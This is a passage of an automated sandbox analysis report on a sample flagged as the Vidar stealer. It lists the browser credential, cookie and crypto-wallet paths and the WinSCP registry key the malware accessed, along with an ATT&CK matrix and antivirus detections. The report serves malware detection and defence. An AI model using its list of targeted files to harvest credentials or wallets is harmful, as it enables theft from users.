Source: AppLaunch.exe, 00000002.00000002.299690333.000000000507B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Ethereum\
Source: Setup.exe, 00000000.00000003.255863907.0000000002580000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: Exodus\exodus.wallet
Source: AppLaunch.exe, 00000002.00000002.299690333.000000000507B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Ethereum"
Source: AppLaunch.exe, 00000002.00000002.299690333.000000000507B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: file__0.localstorage
Source: AppLaunch.exe, 00000002.00000002.299690333.000000000507B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: default_wallet
Source: AppLaunch.exe, 00000002.00000002.299690333.000000000507B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: multidoge.wallet
Source: AppLaunch.exe, 00000002.00000002.299690333.000000000507B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: AppLaunch.exe, 00000002.00000002.299690333.000000000507B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: seed.seco
Source: AppLaunch.exe, 00000002.00000002.299690333.000000000507B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore
Source: AppLaunch.exe, 00000002.00000002.299690333.000000000507B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Electrum-LTC\wallets\

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\wasm\index-dir	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_hint_cache_store	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons Monochrome	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Cache	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session Storage	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SignalStorageConfigDB	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Local Storage	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons Maskable	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Code Cache\js	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Platform Notifications	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Code Cache\wasm\index-dir	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Code Cache\wasm	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\EntryDB	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\databases	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ghbmnnjooekpmoecnnnilnnbdlolhkhi	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Platform Notifications	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GPUCache	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SignalDB	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Session Storage	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons Maskable	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SegmentInfoDB	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\data_reduction_proxy_leveldb	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Session Storage	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons Monochrome	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\coupon_db	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_nmmhkkegccagdldgiimedpiccmgmieda	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Local Storage\leveldb	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cache	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons Monochrome	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons Maskable	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Cache	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage\a1633b1e-f1cf-4fba-86f8-17dcb4bf385e	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Code Cache\js\index-dir	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js\index-dir	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons Maskable	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Safe Browsing Network	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons Monochrome	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\metadata	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\WebStorage	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Platform Notifications	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons Monochrome	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Scripts	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Cache\Cache_Data	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\wasm	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons Monochrome	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons Maskable	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Network	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\Files	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sessions	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_model_metadata_store	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\GPUCache	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm\index-dir	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync App Settings	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Temp	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons Maskable	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Code Cache	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\ ?	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\ ?	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\ ?	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\ ?	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\ ?	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\ ?	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\ ?	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\ ?	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Configuration

Jump to behavior

Source: Yara match	File source: 00000002.00000002.299690333.000000000507B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: AppLaunch.exe PID: 5124, type: MEMORYSTR

Remote Access Functionality

Yara detected Vidar stealer

Source: Yara match	File source: 2.2.AppLaunch.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Setup.exe.2c3140.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Setup.exe.2c3140.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.Setup.exe.2580000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.Setup.exe.2580000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Setup.exe.2c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.255863907.0000000002580000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.256285347.00000000002C3000.00000004.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Setup.exe PID: 6128, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: AppLaunch.exe PID: 5124, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	1 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	3 Ingress Tool Transfer	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	1 Native API	1 Scheduled Task/Job	311 Process Injection	1 Deobfuscate/Decode Files or Information	1 Input Capture	1 Account Discovery	Remote Desktop Protocol	3 Data from Local System	Exfiltration Over Bluetooth	21 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	1 Scheduled Task/Job	Logon Script (Windows)	1 Scheduled Task/Job	21 Obfuscated Files or Information	1 Credentials in Registry	4 File and Directory Discovery	SMB/Windows Admin Shares	1 Screen Capture	Automated Exfiltration	4 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	1 Software Packing	NTDS	154 System Information Discovery	Distributed Component Object Model	1 Input Capture	Scheduled Transfer	115 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	341 Security Software Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	1 DLL Side-Loading	Cached Domain Credentials	2 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	1 Masquerading	DCSync	12 Process Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	2 Virtualization/Sandbox Evasion	Proc Filesystem	1 System Owner/User Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	311 Process Injection	/etc/passwd and /etc/shadow	1 Remote System Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
Setup.exe	35%	Virustotal		Browse
Setup.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\ProgramData\68398609819664439000.exe	100%	Avira	HEUR/AGEN.1246453
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OTUW0Q90\635965506[1].exe	100%	Avira	HEUR/AGEN.1216913
C:\ProgramData\92398908710653760371.exe	100%	Avira	HEUR/AGEN.1216913
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OTUW0Q90\Starter[1].exe	100%	Avira	HEUR/AGEN.1246453
C:\ProgramData\68398609819664439000.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OTUW0Q90\Starter[1].exe	100%	Joe Sandbox ML
C:\ProgramData\68398609819664439000.exe	92%	ReversingLabs	ByteCode-MSIL.Trojan.AgentTesla
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OTUW0Q90\Starter[1].exe	92%	ReversingLabs	ByteCode-MSIL.Trojan.AgentTesla

Unpacked PE Files

Source	Detection	Scanner	Label	Download
8.0.68398609819664439000.exe.e70000.0.unpack	100%	Avira	HEUR/AGEN.1246453	Download File
0.2.Setup.exe.2c0000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
0.2.Setup.exe.2c3140.1.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
0.0.Setup.exe.2c0000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File

